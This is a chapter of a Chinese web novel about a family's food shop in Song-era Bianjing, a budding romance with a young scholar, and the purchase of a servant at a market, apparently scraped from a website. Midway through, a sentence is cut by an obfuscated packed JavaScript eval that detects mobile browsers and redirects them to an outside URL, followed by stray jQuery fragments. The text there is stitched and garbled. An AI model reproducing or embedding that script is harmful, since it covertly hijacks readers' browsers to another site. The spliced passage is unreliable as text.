37. 第三十七章

作品:《汴京暴富日常

    说完,也不等徐竹卿回话,转身就走。


    那背影,怎么看怎么透着一股落荒而逃的狼狈。


    徐竹卿看着好友匆匆离去的背影,有些纳闷:“奇了怪了,刚才还好好的,怎么突然就急成这样?这文章要紧成这般模样?”


    徐竹筱咬着嘴唇,死命憋着笑,肩膀一抖一抖的。


    “笑什么呢?”徐竹卿回过头,狐疑地看着自家妹妹。


    徐竹筱心头一跳。


    她这哥哥可是个成了精的狐狸,心眼子比莲藕还多,要是让他看出点什么苗头,指不定要怎么盘问。


    “没什么,就是觉得哥你这同窗挺有意思,”徐竹筱随口胡扯,赶紧转移话题,“快趁热吃吧,这里头可是粉蒸肉,凉了就腻了。”


    徐竹卿果然被转移了注意,提着食盒找了个树荫下的石墩坐下。


    “对了哥,刚才那位郎君是谁啊?”徐竹筱装作漫不经心地问了一句,手里折了一根狗尾巴草在指尖绕来绕去。


    徐竹卿打开食盒第一层,热气腾腾的肉香扑面而来,他深吸了一口气,脸上露出满足的神色:“我只知道他老家是成都府的,来此求学,别的倒是不怎么清楚了,不过此人虽然看着清冷,实则见解独到,是个可交之人。”


    说到这,徐竹卿顿了顿,抬眼看了看自家妹子:“怎么?打听这个做什么?”


    徐竹筱心里“咯噔”一下,面上却半点不显:“随便问问也不行?娘说了,你在外面交朋友得擦亮眼睛,别被人卖了还帮人数钱。”


    “呵,能卖你哥的人还没生出来呢。”徐竹卿轻哼一声,夹起一块沾满米粉的五花肉送进嘴里。


    肥而不腻,软糯咸香。


    徐竹筱见哥哥吃得香,心里那块大石头才算落了地。


    只是目光又不自觉地往书院那扇朱红色的大门瞟去。


    接下来的几日,徐竹筱送饭送得格外勤快。


    苏棠原本还想拦着,毕竟天越来越热了,姑娘家晒黑了不好看。


    可架不住徐竹筱变着法儿的做好吃的,什么糖醋排骨、红烧狮子头、清蒸鲈鱼,花样翻新。


    苏棠一寻思,反正有人替她疼儿子,她也乐得清闲,便随她去了。


    徐竹筱每天提着食盒去书院,眼睛都快练成火眼金睛了,可奇怪的是,那个青松色的身影就像是人间蒸发了一样,再也没在门口晃悠过。


    有时候她特意磨蹭一会儿,想等着学子们都出来得差不多了再走,可等到最后,除了那两棵老槐树依旧知了知了地叫个不停,连个沈竹安的影子都没见着。


    难不成是为了躲我?


    徐竹筱心里有些犯嘀咕,又有些莫名的失落。


    这日晌午,日头毒辣得很,街面上的行人都少了许多。


    徐家铺子里倒是凉快,穿堂风呼呼地吹着。


    徐竹筱手里拿着个算盘拨弄得噼啪作响,心思却早已不知飘到了哪里。


    “筱娘,别发呆了。”苏棠从后厨掀帘子出来,手里端着碗酸梅汤,“跟你说正事呢。”


    徐竹筱回过神,接过酸梅汤喝了一大口,酸甜冰凉直沁心脾:“啥事啊娘?”


    “我想着,是不是该添个人手?”


    “那是肯定的。”徐竹筱放下碗,抹了抹嘴,“这几日大单子太多,根本忙不过来。”


    “是买个丫头回来,还是雇个长工?”苏棠眉头微皱,显然是有些拿捏不定,“买人呢,虽然一次花销大点,但那是死契,用着放心,也不怕把咱家的秘方学了去。雇人吧,倒是省事,不想用了随时能辞,可就怕养不熟的白眼狼。”


    徐竹筱托着下巴想了想。


    这年头,买卖人口是常态,虽然她有一些不习惯,但是入乡随俗,而且确实就像她娘说的,若是被人学走了秘方,岂不是亏了?


    “娘,还是买个人回来吧?不过买个人回来得多少银子?咱们家的钱够吗?”


    正说着,一道清润如玉的嗓音随着热风传了进来:“劳驾,我要一份儿糖醋的炸肉条。”


    这声音……


    不是沈竹安是谁?


    沈竹安显然也没料到看铺子的是徐竹筱,一抬头,四目相对,那双清亮的眸子里瞬间闪过一抹慌乱,随后迅速垂下眼帘,耳根子又不争气地红了。


    “沈……沈郎君?”徐竹筱只觉得心跳一下子快了好几拍,刚才那点失落瞬间烟消云散,嘴角怎么压都压不住,“你怎么来了?”


    沈竹安的手指无意识地抓紧了衣摆,声音有些发紧:“路……路过。闻着香,便想买些回去尝尝。”


    路过?


    崇正书院在城南,徐家铺子在城东,这路绕得可是够远的。


    徐竹筱看破不说破,手脚麻利地拿过油纸袋,转身去夹那刚炸好出锅的里脊肉条。


    “要多少?”


    “一份儿就好。”


    徐竹筱手腕一抖,满满当当地装了一大袋子,那分量,别说一两,一斤都有余。


    她也没上称,直接把纸袋口折好,递了过去:“给,刚出锅的,小心烫。”


    沈竹安伸手去接,指尖不小心碰到了徐竹筱的手背。


    那一瞬间,两人都像是被电了一下,飞快地缩回手。


    沈竹安慌乱地去掏钱袋,手忙脚乱地摸出几个铜板就要往柜台上放。


    “不用了!”徐竹筱连忙按住他的手,触手温热,她脸上一热,赶紧松开,“那个……你上次帮我那么大的忙,这点肉条就算是我请你吃的。”


    “那怎么行!”沈竹安急了,眉头都皱了起来,“一码归一码,何况上次你已经请过我了。”


    说完,他固执地把铜板排在柜台上,一个个摆得整整齐齐,生怕少了一个似的。


    “哎呀你这人……”徐竹筱看着他那副一本正经的模样,又是好气又是好笑,“我不收!”


    “不可不收。”沈竹安梗着脖子,眼神却有些游离,不敢直视她的眼睛,“君子爱财,取之有道。我也不能占小娘子的便宜。”


    “谁让你占便宜了……”徐竹筱小声嘟囔了一句。


    两人就在柜台这儿推来让去,那几枚铜板在木台面上推得哗哗响。


    苏棠原本坐在后头看戏,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040808|193160||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这会儿实在是看不下去了。


    她慢悠悠地站起身,走到柜台边,双手抱胸,目光在两人身上打了个转儿,最后落在沈竹安那张涨红的脸上。


    “既然这位郎君非要给,筱娘,你就收着吧。”


    沈竹安见苏棠发话,连忙行了个晚辈礼:“婶子说得是。”


    徐竹筱只好把铜板收进抽屉里。


    沈竹安如释重负,抱起油纸袋,匆匆丢下一句“多谢”,转身便出了铺子,那步子迈得比平时大了不少,眨眼间就混进了人群里。


    徐竹筱盯着门口晃动的帘子,半晌没回过神来。


    “行了,别看了,人都没影儿了。”苏棠伸手在闺女眼前晃了晃,挑着眉毛,脸上的神情那叫一个揶揄。


    “娘!”徐竹筱跺了跺脚,脸红得像那锅里的红烧肉,“你说什么呢!”


    “好好好,不说了不说了。”


    “明儿一早,咱就去人市看看。”


    次日天刚蒙蒙亮,母女俩就揣着银票出了门。


    牙行里人头攒动,那些个人就像牲口一样被牵出来溜达,明码标价。


    苏棠原本盘算着,花个二三十贯顶天了。


    谁知那牙婆上下嘴皮子一碰,张口就是六十贯。


    “六十贯?你抢钱呢!”苏棠那眉毛瞬间竖了起来,双手叉腰,声调拔高了三度,“就这还要六十贯?你看那身板,风一吹就倒,能不能扛得动一袋面都两说!”


    牙婆也不恼,甩了甩手里的帕子,皮笑肉不笑:“哎哟我的大娘子,您也不去打听打听,如今这世道,好的劳力多紧俏。这可是调教好的,带回去就能上手,省了您多少心?”


    苏棠心里那个疼啊。


    她在县城当姑娘那会儿,怎么着也算是富裕人家,家里也有签买来的仆人,可也没见过这么贵的价儿。


    这汴京城,果然是销金窟,连买个人都比别处贵上几倍。


    徐竹筱拉了拉苏棠的袖子,小声说道:“娘,那边角落里那个……”


    苏棠顺着闺女的视线看过去。


    墙角阴影里,缩着个女人。


    看着约莫三十岁上下,一身粗布衣裳虽然破旧,但是脸蛋还算干净,头发也没像旁人那样乱糟糟的,而是用一根木簪子挽得紧紧的。


    她没像其他待售的人那样或是哭天抢地,或是麻木呆滞,只是低着头,双不知道在看些什么东西。


    那牙婆顺着看过去,撇了撇嘴:“那个啊,年纪大了点,都三十了,不过力气倒是有,看着也老实。”


    苏棠眯起眼,打量了一番。


    这女人手掌宽大,骨节粗大,一看就是常年干粗活的。


    最要紧的是,她眼神虽然透着惊恐,却很干净,不像那些油滑的婆子,眼珠子滴溜溜乱转,瞧着就不像是憋了什么好屁的模样。


    “就她了。”苏棠指了指。


    一番唇枪舌战,唾沫星子横飞。


    苏棠把那牙婆杀得节节败退,从六十贯砍到了五十贯。


    而后双方在契书上按了手印。


    这买卖就算是成了。